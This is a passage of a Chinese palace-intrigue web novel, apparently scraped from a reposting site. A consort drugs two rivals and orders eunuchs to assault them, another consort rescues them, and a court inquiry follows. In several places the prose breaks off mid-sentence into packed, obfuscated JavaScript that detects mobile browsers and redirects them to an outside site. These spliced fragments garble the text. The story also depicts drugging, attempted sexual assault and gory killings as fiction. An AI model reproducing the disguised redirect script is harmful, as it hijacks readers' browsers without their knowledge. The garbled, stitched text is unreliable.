“赵时意,陛下会明辨是非的,你这样做,就不怕陛下杀了你?” “呵。”赵时意轻哼一声,“陛下满心满眼只有皇后娘娘,其他妃嫔,在他眼里如同蝼蚁。 本宫有义父疼爱,你这**有何仰仗?本宫哪怕玩死你,陛下也毫不在意。” 不多时,微蓝便将那按照熏香方子制成的药拿了来。 她捏住李含萱和楚舒茗的下巴,将药强行喂了进去。 赵时意看着她们药效起了,方命令着:“微蓝,将她们二人丢去偏殿。” 她又勾了勾手,将四名太监叫到了跟前儿,“只要你们好好伺候她们,本宫保你们的家人享几世荣华富贵。” “她们,是可以死的,听明白了?”赵时意眉眼弯弯,问着。 第131章美人香 “是。”四个太监矮着身子,低声应着。 他们也不敢欺辱后宫妃子,可不照做,现在就得死,恐怕还要连累家人。 横竖都是一死,那就死的有价值点吧。 四个太监分成两队,分别将楚舒茗和李含萱拖走了。 李含萱的贴身宫女,早就被赵时意打发去了杂役房,至于刚分配的太监宫女,得知了赵时意协助管理后宫的事儿,此时都在当哑巴和瞎子。 跟着楚舒茗来的宫女,早就被这动静吓软了腿,跌坐在地上视而不见。 无论楚舒茗朝着她投去多少道求救的目光,她都低着头选择无视。 绝对的强权面前,蝼蚁的生死不过一句话,闷声不语就能活命的话,大多数人都会这样做。 “砰。”偏殿的房门关上。 赵时意心满意足,冲微蓝道:“两刻钟后去请陛下吧,那药效力强,太监又不能真帮到她们。 两刻钟足够了,等陛下来了,他们也就只剩下一口气儿了。” 赵时意说罢,抬步就进了屋子。 她全然没发现,西华宫外隔着一条宫道的那面墙上,一道俏丽的身影趴在墙头。 “啧啧啧。”沈安安无声咂舌道,“果真最毒妇人心,这陛下还没宠幸谁呢,宫斗的手段就这么恶毒肮脏。” “啊!!!”西华宫偏殿里,发出撕心裂肺的一声惨叫。 “两位娘娘,别怪奴才们。” “有奴才几个伺候过,也不枉您二位做过一次女人。” “横竖你们在这宫里也是守活寡,今日就把奴才们当作陛下吧,闭上眼睛,舒坦就行了。” 四个太监你一言我一语,说着就要伸手去扒她们的衣裳。 更是有胆子大的,说道:“都要**,就敞开了来吧,让她们不枉做一回女人,也让我们不枉做一回男人。” 这太监说着,开始解裤腰带了。 “砰。”窗户从外面被破开。 两扇窗户“哐当”一声砸在了太监跟前儿。 四人动作停滞,刚要扭头骂“哪个不长眼”时,就对上了沈安安的视线。 “一群废物,很想做男人是吧?”沈安安迈步上前。 懂事的已经开始系裤腰带了。 不懂事的还打算仗势欺人。 沈安安抬起一脚,踢在一个狗东西的脑袋上。 脚勾住他的脖子,往怀中一拉,这个说要做男人的太监,就给她跪下了。 沈安安把他的头踩在脚下,狠狠的碾着。 “叫啊。”她看向其他三个太监道。 他们面面相觑,同时“扑通”一声给她跪下,异口同声的问着:“贵妃娘娘,怎么叫?” “叫救命啊,不然还想叫什么?”沈安安反问着。 三个太监连连点头,赶忙出声,尖着嗓子道:“宁妃娘娘,救命啊,这**不好对付。” 喊完,他们“啪啪”就给自己脸上来了几耳光,下手那叫一个不留情。 能在各宫主位跟前儿伺候的,都是人精,他们知晓沈安安的意思是把宁妃给骗出来。 果不其然,主殿开始亮起了烛光。 赵时意着急慌忙的出来了,甚至连衣衫都没穿戴整齐。 她要伪造自己已经睡下,对秽乱后宫不知情的假象,所以安排好一切后就撤了人,熄了蜡烛。 刚才沈安安制造出来的大动静,她听到了也只当是偏殿发生的事儿太激烈了,没往别处想。 “废物,狗东西,看来给你们也得吃几粒。”赵时意一边骂着,怒气冲冲的踢开了门。 看到沈安安身影的第一时间,她反应迅速的要转身离开。 可早就躲在两扇门后面的两个太监,已经推着把门关上了。 “贵妃娘娘,深更半夜,你不在自己的荣华宫,跑来嫔妾的宫里做什么?”赵时意问着。 沈安安没工夫跟她耗,使用轻功一个闪身上前。 赵时意本能的出手去挡她推过来的右掌,却不料这只是她的障眼法,而她的左手,趁着这个机会,已经将自己的脖子给掐住了。 沈安安的内力可比她强多了。 一个点穴,她便动不了了。 沈安安从她手中拿过了药瓶子,拧开盖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546052|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捏住她的嘴,直接全部都灌了进去。 “坏怂就应该有坏下场。”沈安安把空了的药瓶子往地上一丢。 她给赵时意解开了穴道,只一个眼神,三名太监便忙跑上前来,跪在地上抱住了赵时意的腿。 那名先前满嘴污言秽语的,也艰难爬起来,拦腰就要去抱赵时意。 开玩笑,宁妃只是说会杀了他们,荣贵妃可是直接动手,那能一样吗? 而且荣贵妃正得圣宠。 赵时意就低头看了一眼太监的工夫,沈安安,李含萱楚舒茗已经不见了。 沈安安驮着两人去了楚妃的东栾宫。 叫太医是不现实了,那群太医古板迂腐起来,简直无药可救。 再耽误下去,这两人真要嘎了。 沈安安将她们丢进了冷水缸里,叫来几个宫女好生照看着,她则是直接奔去了椒房殿。 一来一回不过半刻钟,她把巫马道奇和他的药箱子一起放在了院子里。 她转身又将李含萱和楚舒茗捞了出来,“你还有一刻钟的时间了,快给她们俩弄正常。” “这……”巫马道奇一脸的为难。 要不是沈安安的手刀就架在他的后脖颈,他才懒得理这个敌人呢。 上次他找沈安安结盟,她可是扭头就把自己给出卖了。 “这是西域的‘美人香’,你是哪里来的?”巫马道奇看向沈安安问着。 沈安安诚然回着:“不是我的,是宁妃的。” “你到底能不能解啊?” “不能解的话……”她左看看右看看,“这里就你一个真正的男人了。” 巫马道奇差点惊掉了下巴,“荣贵妃,你不要胡言乱语。” 巫马道奇赶忙给两人用药,她们已经彻底失去了意识,一左一右抱住他的胳膊,真是一副要意乱情迷的模样。 吓的他大汗淋漓,急切的冲沈安安喊着:“我说荣贵妃,这时候你就不要把注意力放在我身上了。 你拉住她们啊,要是真发生点什么,陛下追究起来,我也是要告发你的,我就不信这东西能跟你没关系。” 第132章个个都是人精 “你说话注意一点。” “这东西真跟我没关系。” 沈安安把手拿开,左右手分别摁住了李含萱和楚舒茗的肩膀,摆着大字型。 西华宫乱成了一片。 偏殿里血肉横飞,便是微蓝也不敢去敲门。 大家一时间没了主意,又恐放任不管,整个西华宫的人都会被赐死。 这才有宫女,着急慌忙跑去找夜不群了。 不多时,西华宫灯火通明,照亮了每一个角落。 夜不群一脚刚踏进殿门,赵时意满身是血、手里拎着一具不囫囵个的尸体,结结实实跪在了他面前。 鲜血喷进了她的眼睛里,一眨眼,红色的液体流了出来,看上去就像是她在流血泪。 药效大,她控制不住自己时,干脆将那四个太监全都杀了。 转移注意力,她连自己也没放过,身上多处有伤。 血淋淋的衣衫,一时间分不清到底是太监的血,还是她自己的。 赵时意把自己弄的几乎脱力。 还好、也幸好,当初义父选拔地网时,方式残忍、手段狠辣,她脱颖而出,又接受过非人的折磨,这次才能安然度过。 “臣妾遭奸人所害,求陛下为臣妾做主。”赵时意说罢,砰砰在地上磕着响头。 她无需再多说,摆在陛下面前的尸体,已经替她表明了‘宁死也不受辱’的忠洁。 微蓝领着荣华宫的宫女们跪在地上,她开口道:“陛下,除了娘娘,楚妃和贤嫔两位娘娘也遭殃了。” “这明摆着……” “明摆着什么?”夜不群不露痕迹的往后退了退,冰冷如霜的声音在微蓝头顶响着。 微蓝身子伏的更低了,额头贴着地面,“陛下,恕奴婢直言,这明摆着就是有人想独宠后宫。” 这话,意在把矛头指向沈安安。 整个皇宫都知晓,沈安安是唯一侍寝了的妃子。 除了她,还有谁敢幻想着一个人霸占陛下? “是吗?”夜不群反问一声。 微蓝:“求陛下明鉴,替三位娘娘做主。” 下一瞬,侍卫将龙椅抬到了夜不群的身后,他坐了下来,吩咐着:“崔福,宣荣贵妃。” 沈安安就爬在宫墙外听墙根儿呢。 听闻这话,她一手架起一个,又一脚踹在了巫马道奇的屁股上,让他先开路。 巫马道奇真是讨厌死她了,但也没办法,只得领头进了西华宫。 “臣参见陛下。”刚进殿门,他就往地上一跪。 沈安安绕过他,把李含萱和楚舒茗搀到了夜不群面前,“臣妾也参见陛下。” 她作势就要跪下来。 楚舒茗意识清醒了,但身子无力,不过她仍是颤颤巍巍要跪下,“臣妾……” “罢了。”夜不群罕见的温声。 而后他又冲崔福道:“给楚妃赐座。” “是,陛下。”崔福应着。 他是个会来事儿的,命人搬了两张椅子出来,另外一张,是给李含萱的。 李含萱情况就没那么好了,此时人还是昏迷的。 她胳膊上扎着银针,胳膊上出血的细条伤口赤裸裸的呈现在夜不群眼前。 不过夜不群看都没看一眼。 沈安安叫着他:“陛下,陛下。” 她搀着李含萱,挪动了下,把受伤的娇小人儿,正正的摆在夜不群面前。 他剑眉蹙了蹙,极不情愿的抬起一根手指,指了指空着的那张椅子。 沈安安:“谢陛下。” 她说罢,将人款款放在了椅子上,然后自己跪在了地上。 “砰。”她也重重磕头,主动认错道:“陛下,臣妾有罪,求陛下责罚。” 巫马道奇闻言瑟瑟发抖,天神啊,她又搞什么幺蛾子?别他也被拉下地狱了。 “宁妃,你说。”夜不群无视沈安安,转而问着赵时意。 赵时意不卑不亢的声音响起,“臣妾曾听义父说过,说先皇那位从西域来的贵妃娘娘,带了奇香迷惑先皇。 后来她含恨而终,那脏东西定是也留在宫里了,不知被哪个别有用心的人得了,来陷害臣妾了。” “臣妾还要多谢荣贵妃娘娘,将楚妃和贤嫔两位妹妹及时救了。 臣妾有罪,陛下刚把协理六宫之权交给臣妾,臣妾宫里就出了这样的事儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549290|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是臣妾无能,难堪重任,荣贵妃娘娘神勇、身份尊贵,实乃协助皇贵妃娘娘的不二人选。” 赵时意这漂亮话说的也太好听了。 她这样显得手指指着她的沈安安很小肚鸡肠。 沈安安两只手举起来,左右挥舞着:“陛下,我不行,我没这个本事。 两个孩子我都管的够呛,我真没法儿管后宫。” “而且,这发生了这么大的事儿,肯定是要彻查的,我查案不行,我就是个废物脑子。” 夜不群一张面无表情的脸上,看不出任何的情绪。 她就不该多管这闲事儿。 真要接了这烫手山芋,指不定什么人专门惹是生非让她操劳不停呢。 她是享福的,不是要吃苦的。 沈安安撇着嘴,一副马上要掉眼泪的委屈样儿。 “那你说说,谁行?”夜不群威严十足的坐在龙椅上,问着她。 后宫的事儿让刑部的人来查,不现实,他们又不能住在宫里。 朝堂关系错综复杂,定国侯又只手遮天,刑部大臣来查保不齐罪最后会落在谁头上呢。 沈安安只是懒得动脑子,不代表她没有脑子。 忽地,她抬起头,看向了崔福。 崔福:“???” 对视上的一瞬间,他希望自己能原地消失。 “那当然是崔公公啊。”沈安安理所应当的开口,“没有人比崔公公更适合了。 让国师大人配合崔公公,一定会事半功倍的,国师说她们中的是什么西域的‘美人香’。 臣妾一听就知道国师对西域的毒很是了解,有他帮忙,崔公公很快就能查明真相的。” 巫马道奇银牙碎咬,就知道荣贵妃肚子里没什么好水。 “陛下。”崔福弯着腰,脸上是难色,“让老奴伺候陛下还行,这查案真是要难为死老奴了。 老奴倒是有两个人选推荐。” “嗯?”夜不群轻轻出声。 崔福继续道:“杨大人曾一直在先皇跟前儿侍奉,对先皇贵妃定也有所了解。 先皇贵妃又是定国侯斩杀于宫中的,此事交给侯爷和杨大人,最为妥当了。” 第133章杀光后宫 不在场的定国侯和杨世青,锅从天上来都还不知道,也着实是可怜。 沈安安眸子睁了睁,还能这样的吗?果然能在宫里活下去的,都不是简单人。 谁查案都无所谓,只要这活儿最终没落在她身上就行。 沈安安垂着眸子,若无其事的等着结果。 夜不群强大的威压,让整个西华宫的气氛都格外低沉,仿佛蔓延着的是肃杀之气。 “原来朕这偌大的后宫,连个能主持公道的人都找不出来,看来朕真的养了一群废物。”夜不群缓缓开口。 这三分戏谑七分狠戾的一句话,听的在场众人皆是瑟瑟发抖。 这话是什么意思?整个后宫都没存在的必要了? 沈安安心想:‘好日子没过上,生死倒是一天经历好多遭,都没用是吧?那就都杀了吧。’ “都杀了吧!”夜不群轻飘飘一声。 沈安安闻言,惊讶的抬起头,不是,真杀啊? 她恨铁不成钢的看着崔福,就这样儿的还当总管太监?绝了简直。 “陛下,臣妾还没活够啊。”沈安安抬眼的瞬间,眼眶已经湿润了。 “臣妾不想死啊陛下,大家也都不想死,尤其是宁妃,她不想含着冤屈**啊。” 沈安安一边说着,一边蠕动到了赵时意旁边。 她就像掩耳盗铃似的,伸出一只手扣在赵时意的后脑勺上。 她可不管赵时意伤的重不重,直接将人摁住给夜不群磕头。 “陛下,宁妃说她也不想死。” “砰砰。”磕头声是赵时意的。 管他呢,赵时意不是说整个后宫就她背景最强大吗?拉上她垫背就完事儿了。 要死都死,都别活。 箭都发出去了,赵时意能怎么办? 即便心里再怎么不情愿,她也只能配合沈安安。 义父说了,陛下是说到做到的人,他真的会杀光整个后宫的。 “陛下,臣妾就是死,也要死的清清白白。”赵时意坚定的开口道。 “儿臣参见父皇。”忽地,一道稚嫩又恭顺的声音传了来。 夜明款步走至夜不群跟前儿,小小的手撩起袍子,跪在了地上,“儿臣愿替父皇分忧。” 夜不群一弯腰,将人从地上搀扶了起来,拉到了跟前儿。 他开口问着:“可知道发生了什么?” 夜明点了点头,看着面前跪了一片的人。 “说说看。”夜不群冷声开口。 别看他看上去对夜明很温柔,但说话时的语气,分明就是严父口吻。 “儿臣愿协助兰娘娘,彻查此案,兰娘娘身负后宫管理之权,此乃她分内之事儿。”夜明沉着冷静的开口,颇有几分夜不群的架势。 虽没说自己此行是独孤若兰的意思,但每个字眼都在表明,自己是替独孤若兰来的。 “崔福,全力配合。”良久,夜不群方开口道。 “是,奴才遵命。”崔福恭恭敬敬的应着。 “这后宫是一片祥和、还是血流成河,就看你的了。”夜不群从龙椅上起来,俯首睥睨着夜明,威压十足的说着。 夜明小小的人儿冲着他拱手弯腰,回着:“儿臣领命。” 仪仗队浩浩荡荡的离开了西华宫。 夜明也直起腰身,姿态优雅的转过身子,率先看向了赵时意。 他对每个人都是礼貌有加,冲着赵时意微微颔首,继而用稚嫩温和的声音说着:“宁妃娘娘,此案发生在西华宫。 我需将所有太监宫女带走,仔细审问,您意下如何?” 看似在询问赵时意的意见,但只是礼貌客气而已,他要带走人,谁敢拦着? 此事陛下已经全权交给他来处理了。 而且,定性为案件,也就是说,最终的结果如何,夜明一锤定音之后,谁都不能再提起。 “殿下请便。”赵时意手撑在地上,艰难站起来说着,“有需要本宫的地方,殿下尽快开口。 便是去天牢受训,本宫也绝不推辞。” 她表明着自己的态度。 这招叫什么?这叫绝处逢生,她不给自己留活路,那么要活,就要在一条死胡同里生生破开一条路。 把她抓进了大牢,定国侯能不为所动吗?她倒是巴不得夜明现在就把她给捉拿了。 夜明微微点了点头,没再说话。 而是拿出令牌,命令地网,将西华宫里所有 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一直跪着等待的巫马道奇,看夜明直接把自己给忘了,忙跪上前去,拦住了他的去路,喊着:“殿下,还有臣呢。” 夜明顿住步子,盯着巫马道奇道:“差点把国师大人给忘了。” “西域‘美人香’出自西华宫,那便辛苦国师大人,留在西华宫帮我调查美人香。” 巫马道奇:“???” 这不对啊,陛下没说让他也参与进查案子里来啊? “殿下。”巫马道奇苦哈哈的抬头,用一双充满可怜的眸子盯着夜明。 “拜托国师大人了。”夜明仿若看不懂他是什么意思一般,倒是将他从地上扶了起来。 夜明抬步就离开,巫马道奇不死心的要去追。 “锃。”地网已经拔刀了。 吓得巫马道奇连连后退了好几步,眼睁睁的看着西华宫的门关上,而他无能为力。 无奈,他只好小心翼翼的问赵时意:“宁妃娘娘,您要是信得过臣,要不就跟臣说说这美人香的来处?” 赵时意通红的眸子瞥向他,嘴角一抽,露出一个恐怖的似笑非笑表情,“本宫怎么知道?” 第134章酒后胡言 赵时意说完,抬起染血的那只手,撩了撩凌乱的头发,就进了主殿。 她将房门关上。 至于她在里面干什么,巫马道奇是绝对不敢感兴趣的。 他找了个角落蹲了下来,靠在墙上,闭眼就睡。 命不由己的时候,该吃吃,该睡睡,活一天就赚一天。 倾兰宫里,独孤若兰哪儿有睡意? 这都等到天快亮了,夜明才回来。 “明儿,审问的怎么样?那脏东西到底是她们三个谁弄出来的?”独孤若兰急切问着。 她口中的三个,正是楚妃、宁妃和沈安安。 人家李含萱才第一天进宫,根本不可能搞事情。 “还不知。”夜明回着。 “那你在大牢里问了一整晚,就什么都没问出来?”独孤若兰一脸疑惑,“明儿,是不是你不敢给她们用刑啊? 你不敢本宫来,保证让她们把知道的都吐干净了。” 夜明微不可查的叹息一声,“兰娘娘,您就在倾兰宫好好待着吧,别再把自己的权力拱手让人了。” “在这后宫里,没有父皇的宠爱、也没有权力,好好活着会是一件非常艰难的事儿。” 夜明语重心长的谆谆教诲着。 独孤若兰仔细想了想,特别神气的开口:“巧了这不是?两样本宫都有。 谁要是敢跟本宫争,本宫定是要好好教训她的。” “对了明儿,肯定是荣贵妃,一定是她,我们这些妃子里,就她成天往外跑。 你把令牌给我,我带着地网去把她捉来倾兰宫,打一顿再饿两天,她就什么都交代了。” “唉。”夜明重重叹息一声。 他转身就往屋子里走,也不理独孤若兰了。 独孤若兰跟在他身后,“明儿明儿”的叫个不停。 …… 荣华宫热闹了。 午膳时,桌子前坐的满满当当。 沈安安在军中生活惯了,不拘小节,便是招待楚舒茗和李含萱,也没把董聂、李汉明支走。 屋子里太热了,吃饭就在院中。 桌子旁边放着三盆冰,有自动转动的木扇子不急不缓的扇着风,很是舒服。 “多吃点肉,身体才好得快。”沈安安把两个红烧大肘子,夹给了李含萱和赵时意。 她是个口味重的,小厨房里每日做的菜都是按照她的口味来的。 楚舒茗是启西人,吃得惯。 但李含萱是京城人,不太能吃得惯,拿起筷子不知道从何下手。 这肘子不是炖的软烂、入口即化的那种,而是保留着劲道,又没切成小块的。 但沈安安都这样说了,她又不好意思不吃,于是乎只能一只手端起自己的碗,头凑上前去,打算咬一小口下来。 费劲了半天,连块皮都没咬下来,反而是弄了一嘴的油。 李含萱赶忙将筷子和碗都放下,只好抬起一只手,用袖子遮挡住自己的脸。 楚舒茗是个心细的,同秦嬷嬷要了帕子,递给她擦嘴,“你胳膊上有伤,总这样抬着胳膊可不行。” 李含萱接过帕子擦着嘴,感激道:“多谢楚妃娘娘。” 反观沈安安。 右手举着一只烤羊腿,没错,是一整只羊腿。 左手拿着一瓶烧刀子,一口肉一口酒,吃的那叫一个豪爽。 董聂也不遑多让,还跟她划拳比酒。 李汉民得看着这毫无分寸的二人,以至于同坐在一张桌子上,他都没顾得上跟李含萱说句话。 “娘娘,你少喝点儿吧,陛下也没说椒房殿那边就不用你了。”李汉民抱住了沈安安刚放下的酒,劝着。 “害,我去了也就是陪皇后娘娘说话,又不用**体力活。 椒房殿又不是没茅房,你不用担心我喝太多没地儿上茅房。” 沈安安一把将酒夺了过去,咕噜咕噜的咽着。 饶是跟她相处了有些时日的楚妃,看她这样,也颇为惊讶。 李含萱就更不用说了,她从小学的就是要笑不露齿、步步生莲、端庄温顺。 沈安安的所作所为,着实是有些吓到她了。 “不是,臣是担心你喝的太多,说些不该说的。”李汉民一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558988|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头两个大。 二殿下还没回来呢,贵妃娘娘也一点儿都不担心。 “嗝儿。”沈安安打了个饱嗝,“啥是不该说的?那什么妖妃留下的不干净香这事儿吗? 是我发现的怎么了?我发现的是香不是药啊,再说了,要不是秦嬷嬷跟我细说,我也不知道那玩意儿是干啥用的啊。” “我还用得着那东西?我往那儿一站陛下就五迷三道了,你也太看不起我了。 想当年,我也是把花魁都比下去的女子,我的美貌毋庸置疑。” 李汉民一拍董聂宽阔的后背,“我就说不能让娘娘喝多,你看,这能去椒房殿吗?” 楚舒茗:“……” 李含萱:“???” 董聂一把推开李汉民,“管**,有本事把我拉屎拉尿也管住。” 李含萱看向了楚舒茗,她觉得这是现在唯一能给她答疑解惑的人了。 楚舒茗对上她的视线,开口道:“贵妃娘娘出自武将之家。” “难怪娘娘会是性情中人。”李含萱温声细语道。 秦嬷嬷是个会体贴人的,她看李含萱吃不下,便炒了两道小青菜、又熬了一碗清炖鸡汤,端了来。 “贤嫔娘娘,您想吃什么就跟奴婢们说。” 李含萱颔首道:“多谢嬷嬷。” “这都是奴婢们分内的事儿,我们娘娘待人和善,那脏东西……哎。 是我们娘娘领着二殿下去御花园练武时偶然所得,娘娘和二殿下都不认得,便拿回宫了。 老奴有幸在冰殿伺候过先皇,曾见过几次先皇贵妃、那位西域来的公主,所以认得。 拿回宫那日老奴就处理了,不知怎的,现在又变了个样儿出现在西华宫了。” 秦嬷嬷看沈安安那样子,是指望不上她能把事情的来龙去脉说清楚了。 如今二殿下回不来,也没法去找陛下替娘娘求情。 调查这事儿的,又落到了皇贵妃和三殿下手里,还是让楚妃和贤嫔知情的比较好。 和盘托出,总好过一问三不知,两位娘娘总比她一个老奴能说得上话。 第135章 罪 这两位都是出生在世家贵族里的女子,天生就是谨慎性子,一时间竟都没开口。 就在她们愣神的刹那,勤德殿的太监来传话了。 “传陛下口谕,宣荣贵妃娘娘和楚妃娘娘椒房殿觐见。” “两位娘娘,随奴才走吧。” 太监手里拿着的拂尘一挥,做了个请的手势。 下一瞬,楚舒茗便站起身来,走到沈安安旁边将人搀扶起来。 沈安安东倒西歪的,被她扶着出了荣华宫。 李汉民和秦嬷嬷不大放心,一直送到了殿门外,瞧着一行人的身影消失,这才转身。 董聂吃完回屋呼呼大睡了,秦嬷嬷去收拾屋子了。 院子里放了一张垫着柔软垫子的太师椅,李含萱被宫女扶着躺了上去。 “让小姐受苦了,我辜负了太妃娘娘的托付。”李汉民满目愧疚。 “宫中多凶险,进宫之前我便知晓了,姑母同我说过,要怪也该怪我自己没手段,怪不上叔父。”李含萱声音温软道。 她抬眸,望着从树荫里透下来的光束。 她进宫,是为了成为姑母那样的女子,以自己一己之力,延续李氏一族荣光的。 这条路,不管多艰难,她都要走下去。 都要再扶持出一位,像太祖那样权倾朝野的大臣来。 只是赵时意那样肆意妄为,她万万没想到,还是要感谢楚妃娘娘。 “唉。”李汉民叹息一声,嘱咐着,“小姐还是想个法子,从西华宫搬出来吧。 或许可以找倾兰宫那位帮忙,毕竟如今她管着后宫,又负责调查。” 李含萱叫他一声叔父,只因辈分摆在那儿,他不过就是旁支的,对她的尊敬可不能少。 世家贵族,内部都是十分团结的,只因一荣俱荣,一损俱损。 出一位像李太傅那样的人,全族都鸡犬升天。 正是因为李太傅的功劳,他们这些族中子弟,才能继续在朝为官,虽然官阶最高的只是四品,但总比全部被淘汰替换的要好。 “陛下不喜欢后宫结盟。”李含萱静躺在太师椅上,缓缓出声。 虽然她昨夜只见了陛下一面,陛下也没有明说,但她就是敏锐的察觉到了。 …… 椒房殿内。 沈安安醉醺醺的蹲坐在地上,陪皇后说话。 “皇后娘娘,你快醒来吧,我想过正常日子了,你一定是个明察秋毫、顶好顶好的人,不然陛下那么残暴的人,不会爱你入骨的。” “越是心狠手辣的人,越是喜欢心地善良的人。” 沈安安很少有喝醉的时候,但情绪型人,真想醉的时候也容易。 “皇后娘娘,你快醒来给我们大家撑腰吧,不然都要被宁妃给玩**,我们都不是她的对手。 她私藏那什么美人香,肯定是想给陛下用的,她想给陛下生皇子。” “楚妃这胆小如鼠的性格,刀架在她脖子上,她也不敢做没规矩的事儿。” 沈安安说了半天,没见一句回答,她干脆扭头看向了一旁的楚舒茗。 “赵时意是想让自己儿子当太子是吧?她义父是定国侯,定国侯和首辅是生死兄弟。 这她要有个儿子,那谁争得过她啊?对不对楚妃?” 楚舒茗就像没听见似的,并不回答。 一门之隔,外面就坐着陛下,陪同的还有首辅和侯爷,她当然不会接话茬。 她一没陛下宠爱、二没母族依仗,每日谨小慎微都可能随时没命。 她永远都不可能像沈安安这样随心所欲。 门外跪在地上的赵小高,清清楚楚的听见了沈安安的话。 他这才明白,为何陛下将他叫来椒房殿跪着。 他把赵时意送进宫,本就是看重她是个有主意的,让她给陛下稳固后宫的。 但没想到,太有主意的人,是不好控制的。 如今虽说是他的义女,但毕竟是陛下的妃子,他也不可能再像之前那样,随打随骂了。 万一打骂了,那岂不是在打陛下的脸? 沈安安继续在里面说着,都是些莫须有的罪名,在给赵时意扣,赵小高越听越觉得离谱。 “陛下。”他到底是忍不住了,抬眸看向夜不群,自告奋勇道,“让臣来查吧,臣只需要一个时辰,一定能把事情的来龙去脉都查的清清楚楚。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也就是现在安乐昏迷着,他才能如此趋利避害。 若是安乐醒着,他也就不会有后宫了。 夜不群越来越能体会先皇对先皇后的独宠了,若重来一次,他一定不会利用先皇后。 “荣贵妃。”夜不群叫着。 “咯吱。”皇后卧房的门从里面打开,沈安安满身酒气的走出来。 她停在他旁边,一双微微眯着的杏眼瞥向他,问着:“怎么了陛下?你又要让我做什么?” 夜不群看她叉腰站着的动作,一时间没有交流欲望了。 “李汉民不是曾在礼部任职吗?他去你宫里那么久了,也没教会你宫中规矩?”夜不群浓眉皱着,问她。 沈安安一抬手,豪言道:“他哪里敢啊?臣妾会把他打废,把他满口牙都给他敲了。” 夜不群薄唇抿了许久,才嫌弃的说着:“你看看你这个口无遮拦的样子,这话让别人听见了,准说西华宫的事儿是你闹出来的。” 沈安安一步迈上前,单手撑在桌子上,“我的荣华宫那么大,**嘛跑去那鸡窝大点儿的地方**儿? 都是因为陛下你的不作为,才导致后宫乱套了,宫里又不是没地方住了,你干嘛把新来的妃子安顿在一个**魔的地盘。” “我问你,要是管理后宫的人是皇后娘娘,你还会让这种腌臜事儿发生吗?” 夜不群抬头揉鬓角的动作,忽地停顿住。 沈安安立马站直了身,挪步到了他身后,给他揉着头。 只不过力道大的,把夜不群的脸都给揉皱了,她伺候人一向都是没耐心的。 “你放肆。”夜不群轻声责备着。 “朕发现,自从朕对你好了一点儿之后,你就越发的言行无状了。” “弄疼朕了。”他斥着。 沈安安把手拿走时,还狠狠的戳了一下他的鬓角。 她嘴里嘟囔着:“对我也没多好啊。” 夜不群不耐烦的指了指对面,让沈安安站过去。 她搬了一张椅子,在他对面坐下来。 夜不群把一张地图摊开,摆在桌子上。 “这个墓很大,至于到底有多大,没探查清楚过。” “你觉得能不能从地底下想个办法,让同州和西天城成为两座埋在地底下的城。”夜不群气定神闲的开口说着。 沈安安原本聚精会神盯着地图看的眸子,抬起来望着他。 还以为**是让她出去建功立业呢,原来是又想干缺德事儿。 把两座城都埋在地底下,普天之下,也就只有**能想出来了吧? 沈安安道:“地下的事儿陛下得问地下的鬼啊,臣妾是陆地上的人,不懂地底下的事儿。” “臣妾又不是老鼠,还会打洞不成?陛下问错人了。” 夜不群一根手指落在同州的地方,用力敲了敲,“将这里变成一道天然的屏障,是为了两国百姓好。 北燕皇帝喜欢掠夺,一旦开战,踏平青州,轩辕偌大的西北之地,就成了他们的囊中之物。” 沈安安一双澄澈的眸子,就死死的盯着他看。 这导致话说到一半,他都不知道该如何继续了。 他确实存着利用沈安安的心。 诚如她自己所说,在领兵打仗这一块,小高确实薄弱。 来日真跟北燕开战了,万一打到需要排兵布阵那一步,轩辕的将才可没有北燕的多。 陆诰,擅长用兵,手底下又有那么多的大将。 夜不群必须防患于未然。 沈安安轻功好,武功也不弱,没有人比她更适合去炸沉同州和西天城了。 同州底下是空的,只要把足够的**沿着西天城的方向,放在那座古墓里。 就能生生炸出一个巨大的深渊,北燕没了同州的铁矿、西天城的天然粮仓,势必会龟缩起来。 许是沈安安的眼神太过赤诚,竟让夜不群有种将计划全都告诉她的错觉产生。 这一刻的沈安安,像极了安乐。 以前他将安乐抱在腿上,同她说自己的种种计划时,她也是用这样天真无邪、赤诚坦然的眸子看着他。 而他,是从来不会隐瞒安乐任何的。 安乐不喜欢他造杀孽,这也是他愿意和北燕和平共处的原因之一。 可现在,郑婉婉不肯好好的给安乐药了。 她要利用安乐的药,将轩辕挖空,他不能坐以待毙了,他得先下手为强。 